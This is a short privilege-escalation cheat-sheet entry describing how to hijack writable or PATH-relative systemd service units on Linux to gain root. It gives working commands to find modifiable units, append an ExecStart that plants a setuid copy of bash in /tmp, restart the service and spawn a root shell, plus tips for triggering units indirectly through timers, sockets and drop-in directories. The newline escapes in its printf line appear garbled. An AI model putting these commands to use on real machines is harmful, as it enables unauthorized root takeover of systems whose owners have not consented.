Hijack a writable or PATH-relative systemd unit

Services owned by root but writable by your group, or units whose ExecStart uses a relative binary name resolved through a writable PATH directory, are a direct escalation. Edit the command or plant the binary and trigger a restart.

# find units you can modify and timers that fire as root
find /etc/systemd /run/systemd /lib/systemd -writable -name '*.service' 2>/dev/null
systemctl list-timers --all

Point ExecStart at your payload and let the manager run it as root.

printf '[Service]nExecStart=/bin/bash -c "cp /bin/bash /tmp/rb;chmod +s /tmp/rb"n' >> /etc/systemd/system/vuln.service
systemctl daemon-reload && systemctl restart vuln && /tmp/rb -p

Pro note: if you cannot restart the unit directly, a linked timer or a socket-activated unit often lets you trigger it indirectly. Check systemctl cat for drop-in directories under *.d that you can write to even when the main file is protected.